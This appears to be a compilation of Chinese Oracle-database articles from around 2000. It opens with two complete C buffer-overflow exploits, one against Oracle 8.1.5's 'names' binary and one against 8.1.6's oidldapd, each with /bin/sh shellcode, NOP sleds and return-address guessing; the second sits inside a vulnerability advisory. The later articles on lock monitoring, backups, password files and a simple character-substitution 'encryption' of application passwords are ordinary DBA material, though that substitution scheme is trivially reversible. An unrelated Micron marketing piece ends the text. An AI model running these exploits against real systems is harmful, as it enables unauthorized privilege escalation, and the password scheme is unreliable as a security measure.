# su - oracle
$ cd /oracle_8.1.5_install_directory/bin
$ chmod a-s names  namesctl  onrsd  osslogin  tnslsnr  tnsping  trcasst
 trcroute

【附录－验证程序】

/*

    Oracle 8.1.5 exploit
                -by loveyou

    offset value : -500 ~ +500

*/
#include
#include

#define BUFFER          	800
#define NOP             	0x90
#define PATH               "/hackerslab/loveyou/oracle/8.1.5/bin/names"

char shellcode[] =
/* - K2 - */
/* main: */
"\xeb\x1d"                                        /* jmp callz
                         */
/* start: */
"\x5e"                                                 /* popl %esi
                       */
"\x29\xc0"                                         /* subl %eax, %eax
        */
"\x88\x46\x07"           	            /* movb %al, 0x07(%esi)
      */
"\x89\x46\x0c"                                /* movl %eax, 0x0c(%esi)
       */
"\x89\x76\x08"                                /* movl %esi, 0x08(%esi)
       */
"\xb0\x0b"                                        /* movb $0x0b, %al
           */
"\x87\xf3"                                          /* xchgl %esi, %ebx
        */
"\x8d\x4b\x08"                                /* leal 0x08(%ebx), %ecx
      */
"\x8d\x53\x0c"                                /* leal 0x0c(%ebx), %edx
      */
"\xcd\x80"                                        /* int $0x80
        */
"\x29\xc0"                                        /* subl %eax, %eax
            */
"\x40"                                                 /* incl %eax
        */
"\xcd\x80"                                        /* int $0x80
               */
/* callz: */
"\xe8\xde\xff\xff\xff"                    /* call start
               */
"/bin/sh";

unsigned long getesp(void)
{
        __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
        char *buff, *ptr,binary[120];
        long *addr_ptr, addr;
        int bsize=BUFFER;
        int i,offset;

        offset = 0 ;

        if ( argc > 1 ) offset = atoi(argv[1]);

        buff = malloc(bsize);
        addr = getesp() - 5933 - offset;
        ptr = buff;
        addr_ptr = (long *) ptr;

        for (i = 0; i < bsize; i+=4)
                *(addr_ptr++) = addr;

        memset(buff,bsize/2,NOP);

        ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
        for (i = 0; i < strlen(shellcode); i++)
                *(ptr++) = shellcode[i];

        buff[bsize - 1] = '\0';

        setenv("ORACLE_HOME",buff,1);

        printf("[ offset:%d buffer=%d ret:0x%x ]\n",
                offset,strlen(buff),addr);
        system(PATH);

}


Oracle技术网—Oracle 8.1.6的oidldapd中的漏洞

Oracle 8.1.6的oidldapd中的漏洞
来源：中国网络安全响应中心

【发布日期】
2000-10-23

【来源】
BUGTRAQ@SECURITYFOCUS.COM，16-10-2000
pask@plazasite.com

【影响的系统】
目前仅在Linux上进行了测试，但可能影响其他的系统。

【概述】
oidldapd是一个Oracle Internet Directory.Oracle Ldap 幽灵程序。

【详细描述】
在oidldapd中有一个缓冲区溢出漏洞，本地用户利用它可以得到oracle用户的
euid。缺省安装，oracle用户拥有所有的数据库文件。

【影响】
任何拥有本地访问权的用户都可以获得euid=oracle。

【解决方法】

可能用chmod -s即可。

【附录－验证程序】
/*
Exploit Code for oidldapd in Oracle 8.1.6 (8ir2) for Linux. I tested in
RH 6.2
and 6.1. This code is a bullshit (i know please no comments about ;-)).

If someone exports this to Sparc please tell me.

synopsis: buffer overflow in oidldapd
impact:	  any user gain euid=oracle.

Dedicated to PlazaSite guys. Klink Klink Team. Panxeta, Entrophy and
others.
*/

#include
#include

#define DEFAULT_OFFSET                   13
#define DEFAULT_BUFFER_SIZE             700
#define NOP                            0x90
#define ORACLE_HOME
"/usr/local/oracle/app/oracle/product/8.1.6"

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr,*name[3],environ[100],binary[120];
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  buff = malloc(bsize);
  addr = get_sp() - offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  sprintf(environ,"ORACLE_HOME=%s",ORACLE_HOME);
  putenv(environ);
  sprintf(binary,"%s/bin/oidldapd connect=$EGG",ORACLE_HOME);
  system(binary);
}


Oracle技术网—Oracle8的不安全因素及几点说明

Oracle8的不安全因素及几点说明

    作为对象关系型数据库的杰出代表，Oracle无疑是最具实力的。无论是在数据库的规模，多媒体数据类型的支持，SQL操作复制的并行性还是在安全服务方面，Oracle均比SYBASE、Informix强许多，加上其最新版本Oracle8.0.4更是增强了这方面的特性，而且还引入了一些新的特性，比如：数据分区(Data Partitioning)、对象关系技术(Object Relational Technology)、唯索引表(Index only tables)、连接管理器(Connection Manager)[NET8特性]、高级队列(Advanced Quening)等，所以有一种说法：Oracle8是适用于如Peoplesoft，SAP和Baan等封装式应用系统最好的数据库引擎。

    虽然Oracle8有许多的优点，但正如微软的WINDOWS系统也会死机一样，任何再好的软件也有他的缺陷，一个优秀的软件不可能就是十全十美，他只是避免了大多数常见的或者可能被考虑到的问题，而一些不容易被发现却非常致命的问题往往会被疏忽掉。Oracle8也同样存在着不安全的因素，许多正在想尽快升级到Oracle8的Oracle7.1、Oracle7.2、Oracle7.3用户不能不考虑到这个因素。当然，这个不安全因素并不是一下子就发现的，而是我们在对一个非常庞大的表进行管理时发现的，这种隐患在使用Oracle创建的小型或者中型数据库中可能不会出现或根本无法发现，因为Oracle8独有的特性已经将这种隐患降低到最低的程度，你大可放心你的数据库系统的安全。

问题

    我们安装的Oracle8数据库是工作于主机-终端方式下的，系统主机采用的是四台HP-9000小型机、1.5G的内存。建库初期时设定的最大事务数是按Oracle8的默认取值[这也是Oracle7的默认取值]取的：块值为2K，事务数为32（对于一个要处理非常庞大的数据库时，一般我们设定的块值要大于2K，至少应为4K或者16K，当然这还与主机的CPU能力和I/0能力值有关），并在建库时没有进行分区建表，这也许就为以后数据库出问题留下了隐患。由于日访问数据库的用户非常多，而且对同一表操作的用户数量太大，致使那个表经常被锁住，不断有用户抱怨他们进不了系统，主机发送的数据包太慢，经常报ORA-600的错误。起初我们以为是系统网络问题，但这种可能性比较小，因为我们发现系统CPU峰值经常在90%多，空闲很小，数据库资源太忙，同时有十多个人锁住一个大表进行操作，自然一部分用户就无法进入系统，对此我们写了如下的SQL语句对锁表用户进行监控：

SELECT OBJECT_ID,SESSION_ID,SERIAL#,
ORACLE_USERNAME,OS_USER_NAME,S.PROCESS
FROM V$LOCKED_OBJECT A,
V$SESSION S WHERE A.SESSION_ID=S.SID;

也许有的人会问为什么不用如下的SQL语句进行查询：

SELECT a.username,a.sid,a.serial#,b.id1,
c.sql_text from v$session a,
V$lock b,v$sqltext c where a.lockwait=b.kaddr and
a. sql_address=c.address and a.sql_hash_value=c.hash_value;

    以上两个SQL语句都会查询返回当前被锁住的用户列表，但第二个SQL语句由于加入了sql_text从而使这个查询变得非常的慢长，特别是在有许多用户同时对数据库进行操作时，建议不用，第一个SQL 语句会在很短的时间内查询出是谁在锁表，从而有利于对数据库的管理，一但有用户进入不了，我们就马上杀死其锁进程[SID，SERIAL#]，SQL语句如下：ALTER SYSTEM KILL SESSION ‘SID，SERIAL#’，但这并不是解决问题的根本方法，只能暂时缓解一下；另外我们还发现回滚段时常有“online”与“offline”的现象，于是我们又考虑是否是回滚段引起的问题：因为我们一但对大的回滚段进行操作，马上就会有用户反映无法进入。我们知道回退段的大小直接依赖于数据库的活动状态，而每一个EXTENTS都应具有相同的值（Oracle的推荐）[INITIAL EXTENTS的值可以从2K（32）、4K（69）、8K（142）、16K、32K等列表中选择]，这将保证你删掉一个区的时候，你可以重新使用它的空间而不会造成浪费，另外MINEXTENTS应设为20，这将不会使回退段扩展另一个EXTENT时用到正在被活动的事务所使用的空间，因而我们就可以据此来确定回退段大小，查出数据库正常运行时所需回滚段的尺寸,为此我们重新设置了回退段的OPTIMAL参数[事实是OPTIMAL的值并不足引起数据库出错]，增大了OPTIMAL的值，使用命令SET TRANSACTION USE ROLLBACK SEGMENT为系统指定了一个大的回退段[注意OPTIMAL参数要足够大以使ORACLE不需经常回缩和重新分配EXTENTS，如果设得小于最小覆盖值，性能将由于额外的段重设置而下降，对于一个要执行长查询的系统，OPTIMAL应设成足够大以避免ORA-1555，“Smapshot too old”的错误，而对于运行小的事务，OPTIMAL应设得小一些，使回退段足够小以便放于内存中，这将提高系统性能。]，但我们发现这样做后，ORA-600的错误依然出现，而且锁表越来越严重；我们又考虑暂时锁住这个表，不让用户进入，先把用户的锁进程全部杀完再看，由于一开始就采用了主机-终端的工作方式，因而根本就无法清除得完，除非断掉外部的所有网络连接，但那样无疑是重启数据库，最终我们选择了重启数据库。

    重启数据库后系统资源一下子得以释放，用户明显感觉速度上来了，能够保证正常使用，就在我们认为系统可能是因为长期没有DOWN机，用户登录数过多造成数据库死锁的时候，一个非常严重的问题出现了，那个表中的一个数据无法进行UPDATE，一UPDATE就报ORACLE内部代码错误，当时我们并没在意，但是不久，我们又发现另一表中编号有重复的现象，根据ORACLE8的数据唯索引表性，这种现象应该根本不会存在，因为我们在这个表中只建立了唯一索引，于是我们电话询问ORACLE公司的技术工程师，也许ORACLE的技术工程师们也是第一次遇到这种问题，他们的回答是数据字典太老，数据索引坏掉，建议重建索引，并把问题向亚太反映。在ORACLE公司的技术工程师的指导下，我们重建了该表，并重新建立了索引，在重建索引过程中，开始几次都不成功，而且无法DROP掉先前的表，经过仔细的查找，我们发现ORACLE8中的确有索引重复的现象，一个表中有两条重复的索引，直接导致数据库HANG，不能访问，但查看系统状态、进程、LISTENER却都正常，从日志文件来看，文件过小（7MB），CHECK POINT频繁，影响到了系统的性能，通过以上调整后，数据库问题暂时缓解了，可以做UPDATE，但是ORACLE的内部代码错误却依然存在，只是暂时还不会影响到我们对数据库的使用，而回滚段开始出现“online rollback segment”的问题，更加令人不解的是数据库居然出现了自动DOWN机的现象，于是我们再次询问ORACLE公司的技术工程师，他们的答复是ORACLE已经注意到了ORACLE8.0.4版本的一些问题，他们将会给数据库打PATCH，希望能够解决到这些问题，但是考虑到给数据库打一个PATCH，将会把所有的数据都要EXPORT出来，这将是一个非常危险的操作，而且所有主机上的程序都要重新编译一到，没有一个星期的时间是无法做好的，而那是根本不可能的事情，因而我们现在还在等待ORACLE公司一个更好的解决办法。

说明

    以上问题可能是ORACLE的一个BUG，但任何软件都有它不完善的一面，否则又何必出什么补丁了，有了补丁肯定会比没有补丁强，但是我们在设计一个系统时也一定要考虑到以下的一些方面：

    1、 主机系统的CPU能力与I/0能力：HP偏重于I/0能力，CPU能力不强，你的数据库就应该尽量避免让CPU占用率太大；DEC偏重于CPU能力，I/0能力不强，你的数据库就可以考虑适当增大某些占用CPU参数的设置；SUN的CPU能力与I/0能力差不多，你的数据库就应该考虑平衡参数，过大过小都不好。

    2、 增大日志文件的SIZE，至少不会低于8MB，日志文件过小会导致CHECK POINT频繁，从而影响到系统的性能。

    3、 回滚段最好保持一个比较合理的值，对一些较大的回滚段可适当增加MINEXTENTS，并设置OPTIMAL，保证一般事物处理无需经常动态分配空间与及时回收空间。

    4、 要充分利用CPU系统资源及提高CPU的命中率，可适当增大log_simultaneous_copies,db_block_latches,db_writes的设置。

    5、 适当增加db_block_buffera与share_pool_size的SIZE，以提高BUFFER值，增加内存，尽快提高BUFF及SQL的命中率。

    6、 主机-终端方式尽管可以便于数据维持，但主机-终端方式却造成主机负荷太重，建议采用客户-服务端方式建系统。


Oracle技术网—Oracle数据库的安全策略

Oracle数据库的安全策略
来源：双利刃
作者：王永生

     Oracle是关系型数据库管理系统，它功能强大、性能卓越，在当今大型数据库管理系统中占有重要地位。在我们开发的一MIS系统中，选用了Oracle7.3数据库。在正常情况下，Oracle数据库会保证数据的安全、稳定，为用户提供正确的数据，但由于计算机系统的故障（硬件故障、软件故障、网络故障和系统故障）影响数据库系统的操作，影响数据库中数据的正确性，甚至破坏数据库，使数据库中全部或部分数据丢失，整个系统都将处于瘫痪状态。因此，如何保证Oracle数据库的安全就成为整个MIS系统安全的重要组成部分。

Oracle数据库的安全策略包括数据库的备份和恢复、用户角色管理。

     一、数据库备份所使用的结构

     Oracle数据库使用几种结构来保护数据：数据库后备、日志、回滚段和控制文件。

     1．数据库后备是由构成Oracle数据库的物理文件的操作系统后备所组成。当介质故障时进行数据库恢复，利用后备文件恢复毁坏的数据文件或控制文件。

     2．每一个Oracle数据库实例都提供日志，记录数据库中所作的全部修改。每一个运行的Oracle数据库实例相应地有一个在线日志，它与Oracle后台进程LGWR一起工作，立即记录该实例所作的全部修改。归档（离线）日志是可选择的，一个Oracle数据库实例一旦在线日志填满后，可形成在线日志归档文件。归档的在线日志文件被唯一标识并合并成归档日志。

     3．回滚段用于存储正在进行的事务（为未提交的事务）所修改值的老值，该信息在数据库恢复过程中用于撤消任何非提交的修改。

     4．控制文件，一般用于存储数据库的物理结构的状态。控制文件中某些状态信息在实例恢复和介质恢复期间用于引导Oracle。

     二、在线日志

     一个Oracle数据库的每一实例有一个相关联的在线日志。一个在线日志由多个在线日志文件组成。在线日志文件（online redo log file）填入日志项（redo entry），日志项记录的数据用于重构对数据库所作的全部修改。

     三、归档日志

     Oracle要将填满的在线日志文件组归档时，则要建立归档日志（archived redo log）。其对数据库备份和恢复有下列用处：

     1．数据库后备以及在线和归档日志文件，在操作系统和磁盘故障中可保证全部提交的事物可被恢复。

     2．在数据库打开和正常系统使用下，如果归档日志是永久保存，在线后备可以进行和使用。

     数据库可运行在两种不同方式下：NOARCHIVELOG方式或ARCHIVELOG 方式。数据库在NOARCHIVELOG方式下使用时，不能进行在线日志的归档。如果数据库在ARCHIVELOG方式下运行，可实施在线日志的归档。

     四、Oracle的备份特性

     Oracle备份包括逻辑备份和物理备份。

     1．逻辑备份

     数据库的逻辑备份包含读一个数据库记录集和将记录集写入文件。

     （1）输出（Export）输出可以是整个数据库、指定用户或指定表。

     （2）输入（Import）输入将输出建立的二进制转储文件读入并执行其命令。

     2．物理备份

     物理备份包含拷贝构成数据库的文件而不管其逻辑内容。

     Oracle支持两种不同类型的物理文件备份：脱机备份（offline backup）和联机备份（online backup）。

     （1） 脱机备份

     脱机备份用在当数据库已正常关闭，数据库处于"offline"时，要备份下列文件：

所有数据文件
所有控制文件
所有联机日志
init.ora（可选的）
     （2） 联机备份
     联机备份可用来备份任何运作在ARCHIVELOG方式下的数据库。在这种方式下，联机日志被归档，在数据库内部建立一个所有作业的完整记录。

     联机备份过程具备强有力的功能。第一，提供了完全的时间点（point-in-time）恢复。第二，在文件系统备份时允许数据库保持打开状态。

     备份方式特性比较

方式 类型 恢复特性
Export 逻辑 可以将任何数据库对象恢复到输出时的状态
Offline Backups 物理 可把数据库恢复到关闭的状态：若数据库运行在ARCHIVELOG方式，就可恢复到任何时间点的状态。
Online Backups 物理 可把数据库恢复到任何时间点

     五、Oracle数据库的角色管理

     Oracle数据库系统在利用角色管理数据库安全性方面采取的基本措施有:

通过验证用户名称和口令,防止非Oracle用户注册到Oracle数据库,对数据库进行非法存取操作。

授予用户一定的权限,限制用户操纵数据库的权力。

授予用户对数据库实体的存取执行权限,阻止用户访问非授权数据。

提供数据库实体存取审计机制,使数据库管理员可以监视数据库中数据的存取情况和系统资源的使用情况。

采用视图机制,限制存取基表的行和列集合。

MIS系统实例中Oracle数据库的安全策略
     由于Oracle数据库备份有三种方式，每种方式具有不同的恢复特性，因此应集成数据库与文件系统备份，集成逻辑备份和物理备份。

     一、备份策略

1．在操作系统级，使用大容量磁盘阵列，通过磁盘映像技术使每一个数据库文件自动分布于每个物理磁盘。这样，当某个磁盘出现物理损坏时，操作系统会自动引发映像磁盘来取代失效的磁盘，保证数据库的正常运行。

由于我们使用的是双服务器，因此在另一服务器上保留一个备份数据库。备份数据库与正在使用的数据库具有相同的参数状态，这样在数据库故障中，只需作必须的最少恢复，最大限度地缩短了恢复时间。

在多个不同的物理磁盘上保持多个控制文件的备份。控制文件在数据库恢复期间用于引导Oracle，因此保持多个控制文件的备份，可以确保在出现磁盘故障后，能有可用的控制文件用于数据库恢复。

使数据库运行在ARCHIVELOG（归档）方式下，归档日志存放于另一映像的逻辑磁盘上。

每晚进行一次联机备份操作，备份所有数据文件、所有归档日志文件、一个控制文件。

每周进行一次输出（Export）操作。
     二、恢复策略
     1．实例失败

     从实例失败中恢复是自动进行的。实例失败一般是由服务器失败引起的，当数据库实例失败后，重新启动服务器，启动数据库，Oracle检查数据文件和联机日志文件，并把所有文件同步到同一个时间点上。

     2．磁盘失败

     如果丢失的是控制文件，只要关闭数据库，从保留有控制文件的地方拷贝一份即可。

     如果丢失的是数据文件，可用前一天晚上的联机备份进行恢复，步骤如下：

     1）从备份中把丢失的文件存在原来位置。

     2）加载数据库

     3）恢复数据库

     4）打开数据库

     3．错误删除或修改对象

     在这种情况下，一般希望能追溯返回到错误发生前的那个时间点上。这叫做时间点恢复。完成恢复的步骤如下：

     1）从当前数据库输出（Export），输入（Import）到备用数据库，使备用数据库与当前数据库保持一致。

     2）向前滚动备用数据库到错误发生前的那个时间点。

     3）从备用数据库输出受错误影响的逻辑对象。

     4）使用上一步产生的输出文件输入那些受影响的对象到当前数据库。

     三、用户角色管理

     1．对所有客户端按工作性质分类，分别授予不同的用户角色。

     2．对不同的用户角色，根据其使用的数据源，分别授予不同的数据库对象存取权限。

     基于以上的安全策略，可以防止非法用户访问数据库，限制合法用户操纵数据库的权限；可以使数据库在故障发生后，不会丢失任何数据，并能使数据库迅速恢复到故障发生前的那一时间点上，最大限度的保证数据的安全和整个系统的连续运行。


Oracle技术网—Oracle数据库密码文件的使用和维护

Oracle数据库密码文件的使用和维护

摘自：微电脑世界周刊

作者：周江淮
电子邮件：flame@public.qz.fj.cn
工作单位：泉州市电信局资费管理中心
通信地址：泉州市温陵路邮电大楼（362000）

---- 概要：Oracle关系数据库系统以其卓越的性能获得了广泛的应用，而保证数据库的安全性是数据库管理工作的重要内容。本文是笔者在总结Oracle数据库安全管理工作的基础上，对Oracle数据库系统密码文件的创建、使用和维护作了详细的介绍，供大家参考。

---- 关键词：Oracle数据库　密码文件

---- 在Oracle数据库系统中，用户如果要以特权用户身份（INTERNAL／SYSDBA／SYSOPER）登录Oracle数据库可以有两种身份验证的方法：即使用与操作系统集成的身份验证或使用Oracle数据库的密码文件进行身份验证。因此，管理好密码文件，对于控制授权用户从远端或本机登录Oracle数据库系统，执行数据库管理工作，具有重要的意义。

---- Oracle数据库的密码文件存放有超级用户INTERNAL／SYS的口令及其他特权用户的用户名／口令，它一般存放在ORACLE_HOME＼DATABASE目录下。

一、 密码文件的创建：

---- 在使用Oracle Instance Manager创建一数据库实例的时侯，在ORACLE_HOME＼DATABASE目录下还自动创建了一个与之对应的密码文件，文件名为PWDSID.ORA，其中SID代表相应的Oracle数据库系统标识符。此密码文件是进行初始数据库管理工作的基础。在此之后，管理员也可以根据需要，使用工具ORAPWD.EXE手工创建密码文件，命令格式如下：
C:＼ >ORAPWD　FILE=＜ FILENAME ＞　PASSWORD
=＜ PASSWORD ＞ ENTRIES=< MAX_USERS >
---- 各命令参数的含义为：

---- FILENAME：密码文件名；

---- PASSWORD：设置INTERNAL／SYS帐号的口令；

---- MAX_USERS：密码文件中可以存放的最大用户数，对应于允许以SYSDBA／SYSOPER权限登录数据库的最大用户数。由于在以后的维护中，若用户数超出了此限制，则需要重建密码文件，所以此参数可以根据需要设置得大一些。

---- 有了密码文件之后，需要设置初始化参数REMOTE_LOGIN_PASSWORDFILE来控制密码文件的使用状态。

二、 设置初始化参数REMOTE_LOGIN_PASSWORDFILE：

---- 在Oracle数据库实例的初始化参数文件中，此参数控制着密码文件的使用及其状态。它可以有以下几个选项：
  • NONE：指示Oracle系统不使用密码文件，特权用户的登录通过操作系统进行身份验证；
  • EXCLUSIVE：指示只有一个数据库实例可以使用此密码文件。只有在此设置下的密码文件可以包含有除INTERNAL／SYS以外的用户信息，即允许将系统权限SYSOPER／SYSDBA授予除INTERNAL／SYS以外的其他用户。
  • SHARED：指示可有多个数据库实例可以使用此密码文件。在此设置下只有INTERNAL／SYS帐号能被密码文件识别，即使文件中存有其他用户的信息，也不允许他们以SYSOPER／SYSDBA的权限登录。此设置为缺省值。
---- 在REMOTE_LOGIN_PASSWORDFILE参数设置为EXCLUSIVE、SHARED情况下，Oracle系统搜索密码文件的次序为：在系统注册库中查找ORA_SID_PWFILE参数值（它为密码文件的全路径名）；若未找到，则查找ORA_PWFILE参数值；若仍未找到，则使用缺省值ORACLE_HOME＼DATABASE＼PWDSID.ORA；其中的SID代表相应的Oracle数据库系统标识符。

三、 向密码文件中增加、删除用户：

---- 当初始化参数REMOTE_LOGIN_PASSWORDFILE设置为EXCLUSIVE时，系统允许除INTERNAL／SYS以外的其他用户以管理员身份从远端或本机登录到Oracle数据库系统，执行数据库管理工作；这些用户名必须存在于密码文件中，系统才能识别他们。由于不管是在创建数据库实例时自动创建的密码文件，还是使用工具ORAPWD.EXE手工创建的密码文件，都只包含INTERNAL／SYS用户的信息；为此，在实际操作中，可能需要向密码文件添加或删除其他用户帐号。

---- 由于仅被授予SYSOPER／SYSDBA系统权限的用户才存在于密码文件中，所以当向某一用户授予或收回SYSOPER／SYSDBA系统权限时，他们的帐号也将相应地被加入到密码文件或从密码文件中删除。由此，向密码文件中增加或删除某一用户，实际上也就是对某一用户授予或收回SYSOPER／SYSDBA系统权限。

---- 要进行此项授权操作，需使用SYSDBA权限（或INTERNAL帐号）连入数据库，且初始化参数REMOTE_LOGIN_PASSWORDFILE的设置必须为EXCLUSIVE。具体操作步骤如下：

  1. 创建相应的密码文件；
  2. 设置初始化参数REMOTE_LOGIN_PASSWORDFILE＝EXCLUSIVE；
  3. 使用SYSDBA权限登录：
    CONNECT　SYS／internal_user_passsword　AS　SYSDBA；
  4. 启动数据库实例并打开数据库；
  5. 创建相应用户帐号，对其授权（包括SYSOPER和SYSDBA）：
    授予权限：GRANT　SYSDBA　TO　user_name；
    收回权限：REVOKE　SYSDBA　FROM　user_name；
  6. 现在这些用户可以以管理员身份登录数据库系统了；

四、 使用密码文件登录：

---- 有了密码文件后，用户就可以使用密码文件以SYSOPER／SYSDBA权限登录Oracle数据库实例了，注意初始化参数REMOTE_LOGIN_PASSWORDFILE应设置为EXCLUSIVE或SHARED。任何用户以SYSOPER／SYSDBA的权限登录后，将位于SYS用户的Schema之下，以下为两个登录的例子：

---- 1. 以管理员身份登录：

---- 假设用户scott已被授予SYSDBA权限，则他可以使用以下命令登录：

---- CONNECT　scott／tiger　AS　SYSDBA

---- 2. 以INTERNAL身份登录：

---- CONNECT　INTERNAL／INTERNAL_PASSWORD

五、 密码文件的维护：

---- 1. 查看密码文件中的成员：

---- 可以通过查询视图V$PWFILE_USERS来获取拥有SYSOPER／SYSDBA系统权限的用户的信息，表中SYSOPER／SYSDBA列的取值TRUE／FALSE表示此用户是否拥有相应的权限。这些用户也就是相应地存在于密码文件中的成员。

---- 2. 扩展密码文件的用户数量：

---- 当向密码文件添加的帐号数目超过创建密码文件时所定的限制（即ORAPWD.EXE工具的MAX_USERS参数）时，为扩展密码文件的用户数限制，需重建密码文件，具体步骤如下：

---- a) 查询视图V$PWFILE_USERS，记录下拥有SYSOPER／SYSDBA系统权限的用户信息；

---- b) 关闭数据库；

---- c) 删除密码文件；

---- d) 用ORAPWD.EXE新建一密码文件；

---- e) 将步骤a中获取的用户添加到密码文件中。

---- 3. 修改密码文件的状态：

---- 密码文件的状态信息存放于此文件中，当它被创建时，它的缺省状态为SHARED。可以通过改变初始化参数REMOTE_LOGIN_PASSWORDFILE的设置改变密码文件的状态。当启动数据库事例时，Oracle系统从初始化参数文件中读取REMOTE_LOGIN_PASSWORDFILE参数的设置；当加载数据库时，系统将此参数与口令文件的状态进行比较，如果不同，则更新密码文件的状态。若计划允许从多台客户机上启动数据库实例，由于各客户机上必须有初始化参数文件，所以应确保各客户机上的初始化参数文件的一致性，以避免意外地改变了密码文件的状态，造成数据库登陆的失败。

---- 4. 修改密码文件的存储位置：

---- 密码文件的存放位置可以根据需要进行移动，但作此修改后，应相应修改系统注册库有关指向密码文件存放位置的参数或环境变量的设置。

---- 5. 删除密码文件：

---- 在删除密码文件前,应确保当前运行的各数据库实例的初始化参数REMOTE_LOGIN_PASSWORDFILE皆设置为NONE。在删除密码文件后，若想要以管理员身份连入数据库的话，则必须使用操作系统验证的方法进行登录。

-


Oracle技术网—提高Oracle数据库应用系统安全的举例与分析

提高Oracle数据库应用系统安全的举例与分析

赵晋 王维民

(合肥市电信局计算中心)

摘要 本文介绍了作者为了提高Oracle数据库安全所进行 的一些有益尝试。

关键词 Oracle数据库 安全

1. Oracle数据库安全的几个基本概念

1.1帐户安全（Account Security）

要在数据库中访问数据，就必须访问该数据库的一个帐户。每个帐户必须指定一个口令。口 令是在帐户建立的时候设置的，可由DBA或用户进行修改。

1.2系统级权限（System-level Privilege）

系统级权限可以建立从系统级权限全集到扩展的基本系统级的各类角色。比如，Connect,Re source和DBA就是分别提供给用户，开发者及DBA的标准角色。

1.3对象安全性（Object Security）

用户可以通过grant命令将自己创建的一些权限授予其他用户使用，也可以给其他用户授予 对对象授权的权限。例如，可以授予一个用户拥有对本用户表授予select 权限的权限。

1.4审计（Auditing）

Oracle具有审计发生在其内部的所有操作——包括注册企图，对象访问和数据库操作——的 能力。审计的结果存储在数据库的审计表中。

2. 应用实例与分析

在一些较大规模的Client/Server系统中，Client端的应用程序一般是通过主程序中的语句 实现与数据库的连接。这种情况下，任何人打开源程序便能清楚了解数据库的连接口令，这 就可能导致安全性问题。经常改变数据库密码是一个办法,而若要改变数据库用户的密码， 就需重新编写相关程序，并对Client端的有关程序进行更新，对于Client端多而分散的系统 ,实际运作很不方便。能不能让这些工作简单易行一些呢？我们在工作中进行了一些尝试。 

我单位数据库环境为Oracle7.3,开发工具是Develope2000。收费系统是我单位的核心系统之 一，占有极其重要的地位，其Client端分散在市区的数个营业点，通过城域网与主机(小型 机)相连。收费系统在数据库中的用户名为SFYY(收费应用)。

试验的步骤是这样的：

2.1在收费小型机Oracle系统的system用户（DBA）下，创建新用户test;

create user test

identified by carton

default tablespace dataspace1

quota 100K

2.2对test用户授以权限；

grant create session to test;

grant resource to test;

2.3在test用户下建立一个存储函数mmtranslate,它其实是一个加密程序。下面是一个简 单的例子。

function mmtranslate(m varchar2)

return varchar2

as

i number(2);

kk varchar2(10);

begin

kk:=′′;

i:=1;

loop

if i<=length(m) then

if instr(′1234567890′,substr(m,i,1),1,1)>0 then

kk:=kk||chr(100+to_number(substr(m,i,1)));

elsif instr('wxyz',substr(m,i,1),1,1)>0 then

kk:=kk||chr(-8+ascii(substr(m,i,1)));

else

kk:=kk||chr(4+ascii(substr(m,i,1)));

end if;

else

exit;

end if;

i:=i+1;

end loop;

return kk;

exception

when others then

return ′-1′;

end;

2.4在test用户下建表mmtest并插入记录。

create table mmtest

(usnamevarchar2(6),------用户名称

mimavarchar2(6)------加密前的密码

);

insert into mmtest values( 'sfyy','eds2');

commit;

2.5执行以下语句

SQL>select mmtranslate('eds2') from dual;

MMTRANSLATE('EDS2')

----------------------------------------

ihwf

利用DBA权限更改sfyy的密码为上面语句的执行结果：

alter user sffy

identified by ihwf; ;

2.6修改应用程序，对于开发环境是Develope2000的程序来说，主要是修改主程序的on-lo gon触发器：

declare

mm varchar2(6);

begin

logon('test','carton');

select mima into mm from mmtest where usname='sfyy';

mm:=mmtranslate(mm);

logout;

logon('sfyy',mm);

end;

然后再利用触发器WHEN-NEW-FROM-INSTANCE执行Callfrom或Newform等 命令，进入业务处理程序。这个主程序应当仅仅由管理员来掌握,编译之后将执行文件下发 到各收费点的Client端。

2.7在System用户下，利用Oracle提供的pupbld.sql,建立表Productuserprofile,执行下面这样的命令，限制在非开发状态Sql命令的使用,例如

insert into productuserprofile

(product,userid,attribute,charvalue) values

('SQL*Plus','TEST','CONNECT','DISABLED');

insert into productuserprofile

(product,userid,attribute,charvalue) values

('SQL*Plus','SFYY','DELETE','DISABLED')；这样，在SQL状态下，根本无法连接到TEST用 户，而在 sfyy用户下，delete命令将不能执行。当然，DBA可以改变这些设置。

3.

可以看出，通过上述的一系列处理，无须更新程序便能实现应用系统数据库(本例中的sfyy) 密码的定期或经常的改动，大大提高了维护效率。Test用户的口令只有DBA掌握；过程mmtra nslate的加密方式也可以经常改变。这些都保证了安全性。

另一方面，还要加强对源程序的管理，在Client端只存放执行程序。加强审计，发现异常现 象，及时处理。

通过这些手段，数据库安全得到了更好保证。

MVision解决方案创新创先

Micron将于7月正式推出一套MVision计划，专门帮助行业用户和政府部门进行以下活 动：提 高他们的IT人员的能力，增加他们的财政来源，以及从事高收益的科技。MVision计划的第 一阶段包括：16项提高IT人员生产力的新的产品和服务；新的增加财政来源计划和提供高科 技帮助。通常计算机供应商提供的以上各种项目只为被美国《财富》杂志评为的全美前500 名企业服务。而Micron为满足行业用户和政府部门的需求而为他们提供了上述项目，从而成 为这一行业中领导者。

Micron董事长兼CEO Jeol Krocher先生说：“Micron的MVision计划的第一步的基础是IT专 业人士和高级管理的直接输入。它主要是为了让行业部门和政府机构中的IT人员更加有步骤 、有效率的工作。通过MVision计划，我们希望帮助我们的客户减少配置PC机的运转费用， 并利用高科技来进行他们的合作项目。这意味着用在用户支持和管理上的IT预算和人员将会 减少。同时，也意味着将帮助我们的客户提高技术水准。而这些技术能减少开支并提高机构 的效率。


